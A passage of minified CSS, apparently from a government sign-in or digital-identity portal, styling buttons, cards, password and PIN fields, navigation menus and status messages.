.button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] [role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px 